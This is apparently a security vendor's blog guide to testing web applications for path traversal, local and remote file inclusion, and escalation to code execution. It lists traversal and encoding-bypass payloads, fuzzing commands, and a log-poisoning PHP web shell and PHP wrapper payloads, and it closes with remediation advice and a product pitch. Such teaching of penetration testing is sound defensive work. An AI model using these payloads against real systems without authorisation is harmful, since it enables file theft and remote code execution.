Path Traversal Testing: Directory Traversal, LFI, and File Inclusion Vulnerabilities

A web application at a financial services firm is serving a document preview feature. The URL looks like this: https://app.example.com/preview?file=reports/2026-q1.pdf. A security engineer changes the parameter to file=../../../../etc/passwd and receives the contents of the server's password file in the HTTP response. Two thousand lines of user accounts, immediately readable.

Path traversal is one of the oldest vulnerability classes in web security, documented for over two decades — and still found in production applications today. This guide covers how to test for it systematically, the encoding and bypass techniques that evade naive defenses, and what good remediation actually looks like.

What Path Traversal Actually Is

Path traversal (also called directory traversal or Local File Inclusion — LFI) occurs when an application uses user-controlled input to construct a file system path and fails to adequately restrict which files can be accessed. The ../ sequence moves up one directory level on Unix systems; ..\ does the same on Windows. Chaining multiple traversal sequences lets an attacker walk from the application's web root up to the filesystem root and then back down to any readable file.

The classic target is /etc/passwd on Linux — not because the file itself causes damage, but because reading it proves the vulnerability is exploitable and provides a list of usernames for further attacks. More impactful targets include:

Remote File Inclusion: The More Dangerous Cousin

Remote File Inclusion (RFI) occurs when the file inclusion mechanism can be pointed at an external URL. In PHP applications, if allow_url_include is enabled and the application passes user input directly to include() or require(), an attacker can point the parameter to a remote server they control and have the application execute arbitrary PHP code.

RFI has largely disappeared from modern applications because PHP now disables allow_url_include by default and modern frameworks don't use raw include statements driven by user input. But legacy PHP applications, CMSes running on old PHP versions, and shared hosting environments still have it. Always test for RFI when you find a path traversal, because the remediation effort is the same and the exploitability difference is significant.

Where to Look for Path Traversal

Path traversal vulnerabilities are most likely in parameters that reference files or resources by name:

Don't limit testing to GET parameters. Path traversal can appear in POST body parameters, JSON payloads, HTTP headers (particularly X-File-Name or custom headers), cookie values, and multipart form field names.

Basic Detection: The Traversal Sequences

Start with the simplest payloads and work toward more complex ones only when the basics don't work. The initial test is just four traversal sequences followed by a known file:

../../../../etc/passwd
../../../etc/passwd
../../etc/passwd
../etc/passwd

If any of these produces the /etc/passwd file content in the response, the vulnerability is confirmed. On Windows targets, try:

..\..\..\..\windows\win.ini
../../../../windows/system32/drivers/etc/hosts

The number of traversal sequences needed depends on how deep in the directory tree the application's base path is. Start with four; if that doesn't work, try eight. If the application is clearly rejecting the sequences, move to bypass techniques.

Bypass Techniques: When Naive Defenses Are In Place

Many applications implement partial defenses — blocking ../ but not encoding variants, or stripping traversal sequences but not doing so recursively. Here are the bypass techniques to test systematically:

URL Encoding

%2e%2e%2f%2e%2e%2fetc%2fpasswd    (../ encoded)
%2e%2e/%2e%2e/etc/passwd           (../ partially encoded)
..%2Fetc%2Fpasswd                  (/ encoded, .. not)

Double URL Encoding

%252e%252e%252f%252e%252e%252fetc%252fpasswd

Useful when the server decodes once on input validation and again during processing. The first decode produces a %2e sequence that passes the filter; the second decode produces the . character.

Unicode/UTF-8 Encoding

..%c0%af../etc/passwd              (/ as overlong UTF-8)
..%ef%bc%8f../etc/passwd           (/ as fullwidth solidus)

Null Byte Injection

../../../../etc/passwd%00.jpg

In languages where file paths are passed to underlying C libraries, a null byte terminates the string. The validation code sees .jpg and passes; the filesystem sees the path up to the null byte. This affects old PHP versions and some Python/Ruby implementations. Modern languages handle null bytes correctly, but it's worth testing on legacy systems.

Stripping Bypasses

....//....//etc/passwd             (double traversal — strips ../ once)
..././..././etc/passwd             (strips ./ but not ../)

If the application strips ../ but doesn't do so recursively, ....// becomes ../ after one pass of stripping.

Absolute Path

/etc/passwd
/var/www/../../etc/passwd

Some applications just prepend a base directory to the input without checking for traversal sequences — which means an absolute path also works.

Using Burp Suite for Path Traversal Testing

Burp Suite's Intruder makes systematic traversal testing straightforward. Capture a request containing a file parameter, send it to Intruder, mark the parameter value as the injection point, and load a path traversal wordlist. The PortSwigger SecLists repository contains a comprehensive list at Fuzzing/LFI/LFI-Jhaddix.txt — over 900 payloads covering encoding variants, Windows and Linux paths, and null byte variations.

Configure Intruder to grep responses for known file content strings:

Any response containing these strings is a confirmed find, regardless of HTTP status code. Some applications return 200 with the file content embedded in a larger response; Burp's grep highlighting will catch it.

Automated Detection with Nikto and Nuclei

Both tools have built-in path traversal tests. Nikto checks for common traversal sequences in file parameters and also tests for known vulnerable paths in specific application types. Nuclei's path-traversal template category covers hundreds of known CVEs and generic detection patterns:

# Nikto basic scan
nikto -h https://target.example.com -Tuning 3

# Nuclei path traversal templates
nuclei -u https://target.example.com -tags lfi,path-traversal

# ffuf with LFI wordlist
ffuf -u "https://target.example.com/download?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mr "root:x:" -mc all

The -mr flag in ffuf matches on response body content — here, looking for the passwd file indicator. Combine with -mc all to see all status codes rather than just 200s.

From LFI to Remote Code Execution

LFI alone is usually a high-severity finding. But in PHP applications, LFI can escalate to full Remote Code Execution through several techniques:

Log Poisoning

PHP applications that include log files via LFI can be escalated by first injecting PHP code into a log file, then including that log file:

  1. Send a request with a PHP payload in the User-Agent header: User-Agent: <?php system($_GET['cmd']); ?>
  2. This gets written to the web server access log
  3. Include the log file via LFI: ?file=../../../../var/log/apache2/access.log&cmd=id
  4. The PHP engine executes the injected code

PHP Session Files

If an application stores PHP session data in a predictable location (/tmp/sess_[sessionid]) and the session data contains user-controlled values, injecting PHP code into session data and then including the session file achieves code execution.

PHP Wrappers

PHP's stream wrappers can be used when the include path accepts them:

# Read PHP source code without execution
?file=php://filter/convert.base64-encode/resource=index.php

# Execute arbitrary PHP (requires allow_url_include on)
?file=php://input  (with POST body: <?php system('id'); ?>)

The php://filter wrapper is particularly useful because it doesn't require allow_url_include — it just base64-encodes the requested file's content, letting you read PHP source code rather than having it execute.

Remediation: What Actually Works

The correct fix is to not construct file paths from user input at all. Use a lookup map: user provides an identifier, server maps it to a file path internally, user never influences the path directly.

When that's not feasible (legacy code, legitimate file browsing features), the defense-in-depth approach:

  1. Resolve the canonical path before validation — use realpath() in PHP, Path.toRealPath() in Java, os.path.realpath() in Python. This resolves all traversal sequences and symlinks before you check whether the path is allowed.
  2. Check that the resolved path starts with the allowed base directoryif (!realpath.startsWith(allowedBase)) throw new SecurityException()
  3. Use a whitelist of allowed files or extensions — if the feature only needs to serve PDFs, only allow .pdf extensions
  4. Run the web server process with minimal filesystem permissions — even if traversal succeeds, the process shouldn't be able to read /etc/shadow
  5. Never pass user input to include/require in PHP — if you do, ensure allow_url_include = Off in php.ini
Defense What it stops What it doesn't stop
Strip ../ sequences Basic traversal Encoding variants, double-stripping bypasses
URL decode before validation Single-encoded payloads Double-encoded payloads, Unicode variants
realpath() + prefix check All traversal variants, symlinks Nothing — this is the correct fix
File whitelist Access to unlisted files Traversal within listed files (minimal risk)
Minimal process permissions Access to sensitive system files Application config files in web root

What to Document in Your Finding

A well-written path traversal finding includes:

Ironimo scans your web application for path traversal and local file inclusion vulnerabilities using the same detection techniques pentesters use — including encoding variants, null byte injection, and wrapper-based bypasses. Every confirmed finding comes with the full HTTP request and response, so your developers can reproduce it immediately without needing a security specialist to walk them through it.

Start free scan
← Back to Blog